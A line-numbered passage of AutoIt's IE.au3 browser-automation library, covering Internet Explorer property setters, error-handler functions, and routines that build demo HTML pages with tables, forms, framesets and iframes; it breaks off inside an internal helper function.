  2645.             $o_object.statustext = $newvalue
  2646.             Return SetError($_iestatus_success, 0, 1)
  2647.         Case $s_property = "top"
  2648.             If NOT __ieisobjtype($o_object, "browser") Then
  2649.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2650.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2651.             EndIf
  2652.             $o_object.top = $newvalue
  2653.             Return SetError($_iestatus_success, 0, 1)
  2654.         Case $s_property = "width"
  2655.             If NOT __ieisobjtype($o_object, "browser") Then
  2656.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2657.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2658.             EndIf
  2659.             $o_object.width = $newvalue
  2660.             Return SetError($_iestatus_success, 0, 1)
  2661.         Case $s_property = "theatermode"
  2662.             If NOT __ieisobjtype($o_object, "browser") Then
  2663.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2664.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2665.             EndIf
  2666.             If $newvalue Then
  2667.                 $o_object.theatermode = True
  2668.             Else
  2669.                 $o_object.theatermode = False
  2670.             EndIf
  2671.             Return SetError($_iestatus_success, 0, 1)
  2672.         Case $s_property = "toolbar"
  2673.             If NOT __ieisobjtype($o_object, "browser") Then
  2674.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2675.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2676.             EndIf
  2677.             If $newvalue Then
  2678.                 $o_object.toolbar = True
  2679.             Else
  2680.                 $o_object.toolbar = False
  2681.             EndIf
  2682.             Return SetError($_iestatus_success, 0, 1)
  2683.         Case $s_property = "contenteditable"
  2684.             If __ieisobjtype($o_object, "browser") OR __ieisobjtype($o_object, "document") Then
  2685.                 $otemp = $o_object.document.body
  2686.             Else
  2687.                 $otemp = $o_object
  2688.             EndIf
  2689.             If $newvalue Then
  2690.                 $otemp.contenteditable = "true"
  2691.             Else
  2692.                 $otemp.contenteditable = "false"
  2693.             EndIf
  2694.             Return SetError($_iestatus_success, 0, 1)
  2695.         Case $s_property = "innertext"
  2696.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2697.                 $otemp = $o_object.document.body
  2698.             Else
  2699.                 $otemp = $o_object
  2700.             EndIf
  2701.             $otemp.innertext = $newvalue
  2702.             Return SetError($_iestatus_success, 0, 1)
  2703.         Case $s_property = "outertext"
  2704.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2705.                 $otemp = $o_object.document.body
  2706.             Else
  2707.                 $otemp = $o_object
  2708.             EndIf
  2709.             $otemp.outertext = $newvalue
  2710.             Return SetError($_iestatus_success, 0, 1)
  2711.         Case $s_property = "innerhtml"
  2712.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2713.                 $otemp = $o_object.document.body
  2714.             Else
  2715.                 $otemp = $o_object
  2716.             EndIf
  2717.             $otemp.innerhtml = $newvalue
  2718.             Return SetError($_iestatus_success, 0, 1)
  2719.         Case $s_property = "outerhtml"
  2720.             If __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  2721.                 $otemp = $o_object.document.body
  2722.             Else
  2723.                 $otemp = $o_object
  2724.             EndIf
  2725.             $otemp.outerhtml = $newvalue
  2726.             Return SetError($_iestatus_success, 0, 1)
  2727.         Case $s_property = "title"
  2728.             $o_object.document.title = $newvalue
  2729.             Return SetError($_iestatus_success, 0, 1)
  2730.         Case $s_property = "silent"
  2731.             If NOT __ieisobjtype($o_object, "browser") Then
  2732.                 __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidObjectType")
  2733.                 Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2734.             EndIf
  2735.             If $newvalue Then
  2736.                 $o_object.silent = True
  2737.             Else
  2738.                 $o_object.silent = False
  2739.             EndIf
  2740.             Return SetError($_iestatus_success, 0, 0)
  2741.         Case Else
  2742.             __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_InvalidValue", "Invalid Property")
  2743.             Return SetError($_iestatus_invalidvalue, 2, 0)
  2744.     EndSelect
  2745. EndFunc
  2746.  
  2747. Func _ieerrornotify($f_notify = -1)
  2748.     Switch Number($f_notify)
  2749.         Case  - 1
  2750.             Return $_ieerrornotify
  2751.         Case 0
  2752.             $_ieerrornotify = False
  2753.             Return 1
  2754.         Case 1
  2755.             $_ieerrornotify = True
  2756.             Return 1
  2757.         Case Else
  2758.             __ieerrornotify("Error", "_IEErrorNotify", "$_IEStatus_InvalidValue")
  2759.             Return 0
  2760.     EndSwitch
  2761. EndFunc
  2762.  
  2763. Func _ieerrorhandlerregister($s_functionname = "__IEInternalErrorHandler")
  2764.     $sieusererrorhandler = $s_functionname
  2765.     $oieerrorhandler = ""
  2766.     $oieerrorhandler = ObjEvent("AutoIt.Error", $s_functionname)
  2767.     If IsObj($oieerrorhandler) Then
  2768.         Return SetError($_iestatus_success, 0, 1)
  2769.     Else
  2770.         __ieerrornotify("Error", "_IEPropertySet", "$_IEStatus_GeneralError", "Error Handler Not Registered - Check existance of error function")
  2771.         Return SetError($_iestatus_generalerror, 1, 0)
  2772.     EndIf
  2773. EndFunc
  2774.  
  2775. Func _ieerrorhandlerderegister()
  2776.     $sieusererrorhandler = ""
  2777.     $oieerrorhandler = ""
  2778.     Return SetError($_iestatus_success, 0, 1)
  2779. EndFunc
  2780.  
  2781. Func _iequit(ByRef $o_object)
  2782.     If NOT IsObj($o_object) Then
  2783.         __ieerrornotify("Error", "_IEQuit", "$_IEStatus_InvalidDataType")
  2784.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2785.     EndIf
  2786.     If NOT __ieisobjtype($o_object, "browser") Then
  2787.         __ieerrornotify("Error", "_IEAction", "$_IEStatus_InvalidObjectType")
  2788.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2789.     EndIf
  2790.     $o_object.quit()
  2791.     $o_object = 0
  2792.     Return SetError($_iestatus_success, 0, 1)
  2793. EndFunc
  2794.  
  2795. #EndRegion Utility functions
  2796. #Region General
  2797.  
  2798. Func _ie_introduction($s_module = "basic")
  2799.     Local $s_html = ""
  2800.     Switch $s_module
  2801.         Case "basic"
  2802.             $s_html &= "<HTML>" & @CR
  2803.             $s_html &= "<HEAD>" & @CR
  2804.             $s_html &= "<TITLE>_IE_Introduction ('basic')</TITLE>" & @CR
  2805.             $s_html &= "<STYLE>body {font-family: Arial}</STYLE>" & @CR
  2806.             $s_html &= "</HEAD>" & @CR
  2807.             $s_html &= "<BODY>" & @CR
  2808.             $s_html &= "<table border=1 width=600 id='table1' cellspacing=6 cellpadding=6>" & @CR
  2809.             $s_html &= "<tr>" & @CR
  2810.             $s_html &= "<td>" & @CR
  2811.             $s_html &= "<h1>Welcome to IE.au3</h1>" & @CR
  2812.             $s_html &= "IE.au3 is a UDF (User Defined Function) library for the " & @CR
  2813.             $s_html &= "<a href='http://www.autoitscript.com'>AutoIt</a> scripting language." & @CR
  2814.             $s_html &= "<p>  " & @CR
  2815.             $s_html &= "IE.au3 allows you to either create or attach to an Internet Explorer browser and do " & @CR
  2816.             $s_html &= "just about anything you could do with it interactively with the mouse and " & @CR
  2817.             $s_html &= "keyboard, but do it through script." & @CR
  2818.             $s_html &= "<p>" & @CR
  2819.             $s_html &= "You can navigate to pages, click links, fill and submit forms etc. You can " & @CR
  2820.             $s_html &= "also do things you cannot do interactively like change or rewrite page " & @CR
  2821.             $s_html &= "content and JavaScripts, read, parse and save page content and monitor and act " & @CR
  2822.             $s_html &= "upon browser 'events'.<p>" & @CR
  2823.             $s_html &= "IE.au3 uses the COM interface in AutoIt to interact with the Internet Explorer " & @CR
  2824.             $s_html &= "object model and the DOM (Document Object Model) supported by the browser." & @CR
  2825.             $s_html &= "<p>" & @CR
  2826.             $s_html &= "Here are some links for more information and helpful tools:<p>" & @CR
  2827.             $s_html &= "Reference Material: " & @CR
  2828.             $s_html &= "<ul>" & @CR
  2829.             $s_html &= "<li><a href='http://msdn1.microsoft.com/'>MSDN (Microsoft Developer Network)</a></li>" & @CR
  2830.             $s_html &= "<li><a href='http://msdn2.microsoft.com/en-us/library/aa752084.aspx' target='_blank'>InternetExplorer Object</a></li>" & @CR
  2831.             $s_html &= "<li><a href='http://msdn2.microsoft.com/en-us/library/ms531073.aspx' target='_blank'>Document Object</a></li>" & @CR
  2832.             $s_html &= "<li><a href='http://msdn2.microsoft.com/en-us/ie/aa740473.aspx' target='_blank'>Overviews and Tutorials</a></li>" & @CR
  2833.             $s_html &= "<li><a href='http://msdn2.microsoft.com/en-us/library/ms533029.aspx' target='_blank'>DHTML Objects</a></li>" & @CR
  2834.             $s_html &= "<li><a href='http://msdn2.microsoft.com/en-us/library/ms533051.aspx' target='_blank'>DHTML Events</a></li>" & @CR
  2835.             $s_html &= "</ul><p>" & @CR
  2836.             $s_html &= "Helpful Tools: " & @CR
  2837.             $s_html &= "<ul>" & @CR
  2838.             $s_html &= "<li><a href='http://www.autoitscript.com/forum/index.php?showtopic=19368' target='_blank'>AutoIt IE Builder</a> (build IE scripts interactively)</li>" & @CR
  2839.             $s_html &= "<li><a href='http://www.debugbar.com/' target='_blank'>DebugBar</a> (DOM inspector, HTTP inspector, HTML validator and more - free for personal use) Recommended</li>" & @CR
  2840.             $s_html &= "<li><a href='http://www.microsoft.com/downloads/details.aspx?FamilyID=e59c3964-672d-4511-bb3e-2d5e1db91038&amp;displaylang=en' target='_blank'>IE Developer Toolbar</a> (comprehensive DOM analysis tool)</li>" & @CR
  2841.             $s_html &= "<li><a href='http://slayeroffice.com/tools/modi/v2.0/modi_help.html' target='_blank'>MODIV2</a> (view the DOM of a web page by mousing around)</li>" & @CR
  2842.             $s_html &= "<li><a href='http://validator.w3.org/' target='_blank'>HTML Validator</a> (verify HTML follows format rules)</li>" & @CR
  2843.             $s_html &= "<li><a href='http://www.fiddlertool.com/fiddler/' target='_blank'>Fiddler</a> (examine HTTP traffic)</li>" & @CR
  2844.             $s_html &= "</ul>" & @CR
  2845.             $s_html &= "</td>" & @CR
  2846.             $s_html &= "</tr>" & @CR
  2847.             $s_html &= "</table>" & @CR
  2848.             $s_html &= "</BODY>" & @CR
  2849.             $s_html &= "</HTML>"
  2850.         Case Else
  2851.             __ieerrornotify("Error", "_IE_Introduction", "$_IEStatus_InvalidValue")
  2852.             Return SetError($_iestatus_invalidvalue, 1, 0)
  2853.     EndSwitch
  2854.     Local $o_object = _iecreate()
  2855.     _iedocwritehtml($o_object, $s_html)
  2856.     Return SetError($_iestatus_success, 0, $o_object)
  2857. EndFunc
  2858.  
  2859. Func _ie_example($s_module = "basic")
  2860.     Local $s_html = "", $o_object
  2861.     Switch $s_module
  2862.         Case "basic"
  2863.             $s_html &= "<HEAD>" & @CR
  2864.             $s_html &= "<TITLE>_IE_Example('basic')</TITLE>" & @CR
  2865.             $s_html &= "<STYLE>body {font-family: Arial}</STYLE>" & @CR
  2866.             $s_html &= "</HEAD>" & @CR
  2867.             $s_html &= "<BODY>" & @CR
  2868.             $s_html &= "<a href='http://www.autoitscript.com'><img src='http://www.autoitscript.com/images/autoit_6_240x100.jpg' name='AutoItImage' alt='AutoIt Homepage Image'></a>" & @CR
  2869.             $s_html &= "<p>" & @CR
  2870.             $s_html &= "<div id=line1>This is a simple HTML page with text, links and images.</div>" & @CR
  2871.             $s_html &= "<p>" & @CR
  2872.             $s_html &= "<div id=line2><a href='http://www.autoitscript.com'>AutoIt</a> is a wonderful automation scripting language.</div>" & @CR
  2873.             $s_html &= "<p>" & @CR
  2874.             $s_html &= "<div id=line3>It is supported by a very active and supporting <a href='http://www.autoitscript.com/forum/'>user forum</a>.</div>" & @CR
  2875.             $s_html &= "<p>" & @CR
  2876.             $s_html &= "<div id=IEAu3Data></div>" & @CR
  2877.             $s_html &= "</BODY>" & @CR
  2878.             $s_html &= "</HTML>"
  2879.             $o_object = _iecreate()
  2880.             _iedocwritehtml($o_object, $s_html)
  2881.         Case "table"
  2882.             $s_html &= "<HTML>" & @CR
  2883.             $s_html &= "<HEAD>" & @CR
  2884.             $s_html &= "<TITLE>_IE_Example('table')</TITLE>" & @CR
  2885.             $s_html &= "<STYLE>body {font-family: Arial}</STYLE>" & @CR
  2886.             $s_html &= "</HEAD>" & @CR
  2887.             $s_html &= "<BODY>" & @CR
  2888.             $s_html &= "$oTableOne = _IETableGetObjByName($oIE, &quot;tableOne&quot;)<br>" & @CR
  2889.             $s_html &= "&lt;table border=1 id='tableOne'&gt;<p>" & @CR
  2890.             $s_html &= "<table border=1 id='tableOne'>" & @CR
  2891.             $s_html &= "    <tr>" & @CR
  2892.             $s_html &= "        <td>AutoIt</td>" & @CR
  2893.             $s_html &= "        <td>is</td>" & @CR
  2894.             $s_html &= "        <td>really</td>" & @CR
  2895.             $s_html &= "        <td>great</td>" & @CR
  2896.             $s_html &= "        <td>with</td>" & @CR
  2897.             $s_html &= "        <td>IE.au3</td>" & @CR
  2898.             $s_html &= "    </tr>" & @CR
  2899.             $s_html &= "    <tr>" & @CR
  2900.             $s_html &= "        <td>1</td>" & @CR
  2901.             $s_html &= "        <td>2</td>" & @CR
  2902.             $s_html &= "        <td>3</td>" & @CR
  2903.             $s_html &= "        <td>4</td>" & @CR
  2904.             $s_html &= "        <td>5</td>" & @CR
  2905.             $s_html &= "        <td>6</td>" & @CR
  2906.             $s_html &= "    </tr>" & @CR
  2907.             $s_html &= "    <tr>" & @CR
  2908.             $s_html &= "        <td>the</td>" & @CR
  2909.             $s_html &= "        <td>quick</td>" & @CR
  2910.             $s_html &= "        <td>red</td>" & @CR
  2911.             $s_html &= "        <td>fox</td>" & @CR
  2912.             $s_html &= "        <td>jumped</td>" & @CR
  2913.             $s_html &= "        <td>over</td>" & @CR
  2914.             $s_html &= "    </tr>" & @CR
  2915.             $s_html &= "    <tr>" & @CR
  2916.             $s_html &= "        <td>the</td>" & @CR
  2917.             $s_html &= "        <td>lazy</td>" & @CR
  2918.             $s_html &= "        <td>brown</td>" & @CR
  2919.             $s_html &= "        <td>dog</td>" & @CR
  2920.             $s_html &= "        <td>the</td>" & @CR
  2921.             $s_html &= "        <td>time</td>" & @CR
  2922.             $s_html &= "    </tr>" & @CR
  2923.             $s_html &= "    <tr>" & @CR
  2924.             $s_html &= "        <td>has</td>" & @CR
  2925.             $s_html &= "        <td>come</td>" & @CR
  2926.             $s_html &= "        <td>for</td>" & @CR
  2927.             $s_html &= "        <td>all</td>" & @CR
  2928.             $s_html &= "        <td>good</td>" & @CR
  2929.             $s_html &= "        <td>men</td>" & @CR
  2930.             $s_html &= "    </tr>" & @CR
  2931.             $s_html &= "    <tr>" & @CR
  2932.             $s_html &= "        <td>to</td>" & @CR
  2933.             $s_html &= "        <td>come</td>" & @CR
  2934.             $s_html &= "        <td>to</td>" & @CR
  2935.             $s_html &= "        <td>the</td>" & @CR
  2936.             $s_html &= "        <td>aid</td>" & @CR
  2937.             $s_html &= "        <td>of</td>" & @CR
  2938.             $s_html &= "    </tr>" & @CR
  2939.             $s_html &= "</table>" & @CR
  2940.             $s_html &= "<p>" & @CR
  2941.             $s_html &= "$oTableTwo = _IETableGetObjByName($oIE, &quot;tableTwo&quot;)<br>" & @CR
  2942.             $s_html &= "&lt;table border=&quot;1&quot; id='tableTwo'&gt;<p>" & @CR
  2943.             $s_html &= "<table border=1 id='tableTwo'>" & @CR
  2944.             $s_html &= "    <tr>" & @CR
  2945.             $s_html &= "        <td colspan='4'>Table Top</td>" & @CR
  2946.             $s_html &= "    </tr>" & @CR
  2947.             $s_html &= "    <tr>" & @CR
  2948.             $s_html &= "        <td>One</td>" & @CR
  2949.             $s_html &= "        <td colspan='3'>Two</td>" & @CR
  2950.             $s_html &= "    </tr>" & @CR
  2951.             $s_html &= "    <tr>" & @CR
  2952.             $s_html &= "        <td>Three</td>" & @CR
  2953.             $s_html &= "        <td>Four</td>" & @CR
  2954.             $s_html &= "        <td colspan='2'>Five</td>" & @CR
  2955.             $s_html &= "    </tr>" & @CR
  2956.             $s_html &= "    <tr>" & @CR
  2957.             $s_html &= "        <td>Six</td>" & @CR
  2958.             $s_html &= "        <td colspan='3'>Seven</td>" & @CR
  2959.             $s_html &= "    </tr>" & @CR
  2960.             $s_html &= "    <tr>" & @CR
  2961.             $s_html &= "        <td>Eight</td>" & @CR
  2962.             $s_html &= "        <td>Nine</td>" & @CR
  2963.             $s_html &= "        <td>Ten</td>" & @CR
  2964.             $s_html &= "        <td>Eleven</td>" & @CR
  2965.             $s_html &= "    </tr>" & @CR
  2966.             $s_html &= "</table>" & @CR
  2967.             $s_html &= "</BODY>" & @CR
  2968.             $s_html &= "</HTML>"
  2969.             $o_object = _iecreate()
  2970.             _iedocwritehtml($o_object, $s_html)
  2971.         Case "form"
  2972.             $s_html &= "<HTML>" & @CR
  2973.             $s_html &= "<HEAD>" & @CR
  2974.             $s_html &= "<TITLE>_IE_Example('form')</TITLE>" & @CR
  2975.             $s_html &= "<STYLE>body {font-family: Arial}</STYLE>" & @CR
  2976.             $s_html &= "</HEAD>" & @CR
  2977.             $s_html &= "<BODY>" & @CR
  2978.             $s_html &= "<form name='ExampleForm' onSubmit='javascript:alert(""ExampleFormSubmitted"");' method='post'>" & @CR
  2979.             $s_html &= "<table cellspacing=6 cellpadding=6 border=1>" & @CR
  2980.             $s_html &= "<tr>" & @CR
  2981.             $s_html &= "<td>ExampleForm</td>" & @CR
  2982.             $s_html &= "<td>&lt;form name='ExampleForm' onSubmit='javascript:alert(""ExampleFormSubmitted"");' method='post'&gt;</td>" & @CR
  2983.             $s_html &= "</tr>" & @CR
  2984.             $s_html &= "<tr>" & @CR
  2985.             $s_html &= "<td>Hidden Input Element<input type='hidden' name='hiddenExample' value='secret value'></td>" & @CR
  2986.             $s_html &= "<td>&lt;input type='hidden' name='hiddenExample' value='secret value'&gt;</td>" & @CR
  2987.             $s_html &= "</tr>" & @CR
  2988.             $s_html &= "<tr>" & @CR
  2989.             $s_html &= "<td>" & @CR
  2990.             $s_html &= "<input type='text' name='textExample' value='http://' size='20' maxlength='30'>" & @CR
  2991.             $s_html &= "</td>" & @CR
  2992.             $s_html &= "<td>&lt;input type='text' name='textExample' value='http://' size='20' maxlength='30'&gt;</td>" & @CR
  2993.             $s_html &= "</tr>" & @CR
  2994.             $s_html &= "<tr>" & @CR
  2995.             $s_html &= "<td>" & @CR
  2996.             $s_html &= "<input type='password' name='passwordExample' size='10'>" & @CR
  2997.             $s_html &= "</td>" & @CR
  2998.             $s_html &= "<td>&lt;input type='password' name='passwordExample' size='10'&gt;</td>" & @CR
  2999.             $s_html &= "</tr>" & @CR
  3000.             $s_html &= "<tr>" & @CR
  3001.             $s_html &= "<td>" & @CR
  3002.             $s_html &= "<input type='file' name='fileExample'>" & @CR
  3003.             $s_html &= "</td>" & @CR
  3004.             $s_html &= "<td>&lt;input type='file' name='fileExample'&gt;</td>" & @CR
  3005.             $s_html &= "</tr>" & @CR
  3006.             $s_html &= "<tr>" & @CR
  3007.             $s_html &= "<td>" & @CR
  3008.             $s_html &= "<input type='image' name='imageExample' alt='AutoIt Homepage' src='http://www.autoitscript.com/images/autoit_6_240x100.jpg'>" & @CR
  3009.             $s_html &= "</td>" & @CR
  3010.             $s_html &= "<td>&lt;input type='image' name='imageExample' alt='AutoIt Homepage' src='http://www.autoitscript.com/images/autoit_6_240x100.jpg'&gt;</td>" & @CR
  3011.             $s_html &= "</tr>" & @CR
  3012.             $s_html &= "<tr>" & @CR
  3013.             $s_html &= "<td>" & @CR
  3014.             $s_html &= "<textarea name='textareaExample' rows='5' cols='15'>Hello!</textarea>" & @CR
  3015.             $s_html &= "</td>" & @CR
  3016.             $s_html &= "<td>&lt;textarea name='textareaExample' rows='5' cols='15'&gt;Hello!&lt;/textarea&gt;</td>" & @CR
  3017.             $s_html &= "</tr>" & @CR
  3018.             $s_html &= "<tr>" & @CR
  3019.             $s_html &= "<td>" & @CR
  3020.             $s_html &= "<input type='checkbox' name='checkboxG1Example' value='gameBasketball'>Basketball<br>" & @CR
  3021.             $s_html &= "<input type='checkbox' name='checkboxG1Example' value='gameFootball'>Football<br>" & @CR
  3022.             $s_html &= "<input type='checkbox' name='checkboxG2Example' value='gameTennis' checked>Tennis<br>" & @CR
  3023.             $s_html &= "<input type='checkbox' name='checkboxG2Example' value='gameBaseball'>Baseball" & @CR
  3024.             $s_html &= "</td>" & @CR
  3025.             $s_html &= "<td>&lt;input type='checkbox' name='checkboxG1Example' value='gameBasketball'&gt;Basketball&lt;br&gt;<br>" & @CR
  3026.             $s_html &= "&lt;input type='checkbox' name='checkboxG1Example' value='gameFootball'&gt;Football&lt;br&gt;<br>" & @CR
  3027.             $s_html &= "&lt;input type='checkbox' name='checkboxG2Example' value='gameTennis' checked&gt;Tennis&lt;br&gt;<br>" & @CR
  3028.             $s_html &= "&lt;input type='checkbox' name='checkboxG2Example' value='gameBaseball'&gt;Baseball</td>" & @CR
  3029.             $s_html &= "</tr>" & @CR
  3030.             $s_html &= "<tr>" & @CR
  3031.             $s_html &= "<td>" & @CR
  3032.             $s_html &= "<input type='radio' name='radioExample' value='vehicleAirplane'>Airplane<br>" & @CR
  3033.             $s_html &= "<input type='radio' name='radioExample' value='vehicleTrain' checked>Train<br>" & @CR
  3034.             $s_html &= "<input type='radio' name='radioExample' value='vehicleBoat'>Boat<br>" & @CR
  3035.             $s_html &= "<input type='radio' name='radioExample' value='vehicleCar'>Car</td>" & @CR
  3036.             $s_html &= "<td>&lt;input type='radio' name='radioExample' value='vehicleAirplane'&gt;Airplane&lt;br&gt;<br>" & @CR
  3037.             $s_html &= "&lt;input type='radio' name='radioExample' value='vehicleTrain' checked&gt;Train&lt;br&gt;<br>" & @CR
  3038.             $s_html &= "&lt;input type='radio' name='radioExample' value='vehicleBoat'&gt;Boat&lt;br&gt;<br>" & @CR
  3039.             $s_html &= "&lt;input type='radio' name='radioExample' value='vehicleCar'&gt;Car&lt;br&gt;</td>" & @CR
  3040.             $s_html &= "</tr>" & @CR
  3041.             $s_html &= "<tr>" & @CR
  3042.             $s_html &= "<td>" & @CR
  3043.             $s_html &= "<select name='selectExample'>" & @CR
  3044.             $s_html &= "<option value='homepage.html'>Homepage" & @CR
  3045.             $s_html &= "<option value='midipage.html'>Midipage" & @CR
  3046.             $s_html &= "<option value='freepage.html'>Freepage" & @CR
  3047.             $s_html &= "</select>" & @CR
  3048.             $s_html &= "</td>" & @CR
  3049.             $s_html &= "<td>&lt;select name='selectExample'&gt;<br>" & @CR
  3050.             $s_html &= "&lt;option value='homepage.html'&gt;Homepage<br>" & @CR
  3051.             $s_html &= "&lt;option value='midipage.html'&gt;Midipage<br>" & @CR
  3052.             $s_html &= "&lt;option value='freepage.html'&gt;Freepage<br>" & @CR
  3053.             $s_html &= "&lt;/select&gt;</td>" & @CR
  3054.             $s_html &= "</tr>" & @CR
  3055.             $s_html &= "<tr>" & @CR
  3056.             $s_html &= "<td>" & @CR
  3057.             $s_html &= "<select name='multipleSelectExample' size='6' multiple>" & @CR
  3058.             $s_html &= "<option value='Name1'>Aaron" & @CR
  3059.             $s_html &= "<option value='Name2'>Bruce" & @CR
  3060.             $s_html &= "<option value='Name3'>Carlos" & @CR
  3061.             $s_html &= "<option value='Name4'>Denis" & @CR
  3062.             $s_html &= "<option value='Name5'>Ed" & @CR
  3063.             $s_html &= "<option value='Name6'>Freddy" & @CR
  3064.             $s_html &= "</select>" & @CR
  3065.             $s_html &= "</td>" & @CR
  3066.             $s_html &= "<td>&lt;select name='multipleSelectExample' size='6' multiple&gt;<br>" & @CR
  3067.             $s_html &= "&lt;option value='Name1'&gt;Aaron<br>" & @CR
  3068.             $s_html &= "&lt;option value='Name2'&gt;Bruce<br>" & @CR
  3069.             $s_html &= "&lt;option value='Name3'&gt;Carlos<br>" & @CR
  3070.             $s_html &= "&lt;option value='Name4'&gt;Denis<br>" & @CR
  3071.             $s_html &= "&lt;option value='Name5'&gt;Ed<br>" & @CR
  3072.             $s_html &= "&lt;option value='Name6'&gt;Freddy<br>" & @CR
  3073.             $s_html &= "&lt;/select&gt;</td>" & @CR
  3074.             $s_html &= "</tr>" & @CR
  3075.             $s_html &= "<tr>" & @CR
  3076.             $s_html &= "<td>" & @CR
  3077.             $s_html &= "<input name='submitExample' type='submit' value='Submit'>" & @CR
  3078.             $s_html &= "<input name='resetExample' type='reset' value='Reset'>" & @CR
  3079.             $s_html &= "</td>" & @CR
  3080.             $s_html &= "<td>&lt;input name='submitExample' type='submit' value='Submit'&gt;<br>" & @CR
  3081.             $s_html &= "&lt;input name='resetExample' type='reset' value='Reset'&gt;</td>" & @CR
  3082.             $s_html &= "</tr>" & @CR
  3083.             $s_html &= "</table>" & @CR
  3084.             $s_html &= "<input type='hidden' name='hiddenExample' value='secret value'>" & @CR
  3085.             $s_html &= "</FORM>" & @CR
  3086.             $s_html &= "</BODY>" & @CR
  3087.             $s_html &= "</HTML>"
  3088.             $o_object = _iecreate()
  3089.             _iedocwritehtml($o_object, $s_html)
  3090.         Case "frameset"
  3091.             $s_html &= "<HTML>" & @CR
  3092.             $s_html &= "<HEAD>" & @CR
  3093.             $s_html &= "<TITLE>_IE_Example('frameset')</TITLE>" & @CR
  3094.             $s_html &= "</HEAD>" & @CR
  3095.             $s_html &= "<FRAMESET rows='25,200'>" & @CR
  3096.             $s_html &= "    <FRAME NAME=Top SRC=about:blank>" & @CR
  3097.             $s_html &= "    <FRAMESET cols='100,500'>" & @CR
  3098.             $s_html &= "        <FRAME NAME=Menu SRC=about:blank>" & @CR
  3099.             $s_html &= "        <FRAME NAME=Main SRC=about:blank>" & @CR
  3100.             $s_html &= "    </FRAMESET>" & @CR
  3101.             $s_html &= "</FRAMESET>" & @CR
  3102.             $s_html &= "</HTML>"
  3103.             $o_object = _iecreate()
  3104.             _iedocwritehtml($o_object, $s_html)
  3105.             _ieaction($o_object, "refresh")
  3106.             Local $oframetop = _ieframegetobjbyname($o_object, "Top")
  3107.             Local $oframemenu = _ieframegetobjbyname($o_object, "Menu")
  3108.             Local $oframemain = _ieframegetobjbyname($o_object, "Main")
  3109.             _iebodywritehtml($oframetop, '$oFrameTop = _IEFrameGetObjByName($oIE, "Top")')
  3110.             _iebodywritehtml($oframemenu, '$oFrameMenu = _IEFrameGetObjByName($oIE, "Menu")')
  3111.             _iebodywritehtml($oframemain, '$oFrameMain = _IEFrameGetObjByName($oIE, "Main")')
  3112.         Case "iframe"
  3113.             $s_html &= "<HTML>" & @CR
  3114.             $s_html &= "<HEAD>" & @CR
  3115.             $s_html &= "<TITLE>_IE_Example('iframe')</TITLE>" & @CR
  3116.             $s_html &= "</HEAD>" & @CR
  3117.             $s_html &= "<BODY>" & @CR
  3118.             $s_html &= "<table cellspacing=6 cellpadding=6 border=1>" & @CR
  3119.             $s_html &= "<tr>" & @CR
  3120.             $s_html &= "<td><iframe name='iFrameOne' src='about:blank' title='iFrameOne'></iframe></td>" & @CR
  3121.             $s_html &= "<td>&lt;iframe name=&quot;iFrameOne&quot; src=&quot;about:blank&quot; title=&quot;iFrameOne&quot;&gt;</td>" & @CR
  3122.             $s_html &= "</tr>" & @CR
  3123.             $s_html &= "<tr>" & @CR
  3124.             $s_html &= "<td><iframe name='iFrameTwo' src='about:blank' title='iFrameTwo'></iframe></td>" & @CR
  3125.             $s_html &= "<td>&lt;iframe name=&quot;iFrameTwo&quot; src=&quot;about:blank&quot; title=&quot;iFrameTwo&quot;&gt;</td>" & @CR
  3126.             $s_html &= "</tr>" & @CR
  3127.             $s_html &= "</table>" & @CR
  3128.             $s_html &= "</BODY>" & @CR
  3129.             $s_html &= "</HTML>"
  3130.             $o_object = _iecreate()
  3131.             _iedocwritehtml($o_object, $s_html)
  3132.             _ieaction($o_object, "refresh")
  3133.             Local $oiframeone = _ieframegetobjbyname($o_object, "iFrameOne")
  3134.             Local $oiframetwo = _ieframegetobjbyname($o_object, "iFrameTwo")
  3135.             _iebodywritehtml($oiframeone, '$oIFrameOne = _IEFrameGetObjByName($oIE, "iFrameOne")')
  3136.             _iebodywritehtml($oiframetwo, '$oIFrameTwo = _IEFrameGetObjByName($oIE, "iFrameTwo")')
  3137.         Case Else
  3138.             __ieerrornotify("Error", "_IE_Example", "$_IEStatus_InvalidValue")
  3139.             Return SetError($_iestatus_invalidvalue, 1, 0)
  3140.     EndSwitch
  3141.     Return SetError($_iestatus_success, 0, $o_object)
  3142. EndFunc
  3143.  
  3144. Func _ie_versioninfo()
  3145.     __ieerrornotify("Information", "_IE_VersionInfo", "version " & $ieau3versioninfo[0] & $ieau3versioninfo[1] & "." & $ieau3versioninfo[2] & "-" & $ieau3versioninfo[3], "Release date: " & $ieau3versioninfo[4])
  3146.     Return SetError($_iestatus_success, 0, $ieau3versioninfo)
  3147. EndFunc
  3148.  
  3149. #EndRegion General
  3150. #Region Internal functions
  3151.  
  3152. Func __ielocksetforegroundwindow($nlockcode)
  3153.     Local $aret = DllCall("user32.dll", "bool", "LockSetForegroundWindow", "uint", $nlockcode)
  3154.     If @error OR $aret[0] Then Return SetError(1, _winapi_getlasterror(), 0)
  3155.     Return $aret[0]
  3156. EndFunc
  3157.  
  3158. Func __iecontrolgetobjfromhwnd(ByRef $hwin)
  3159.     DllCall("ole32.dll", "long", "CoInitialize", "ptr", 0)
  3160.     If @error Then Return SetError(2, @error, 0)
  3161.     Local Const $wm_html_getobject = __ieregisterwindowmessage("WM_HTML_GETOBJECT")
  3162.     Local Const $smto_abortifhung = 2
  3163.     Local $lresult
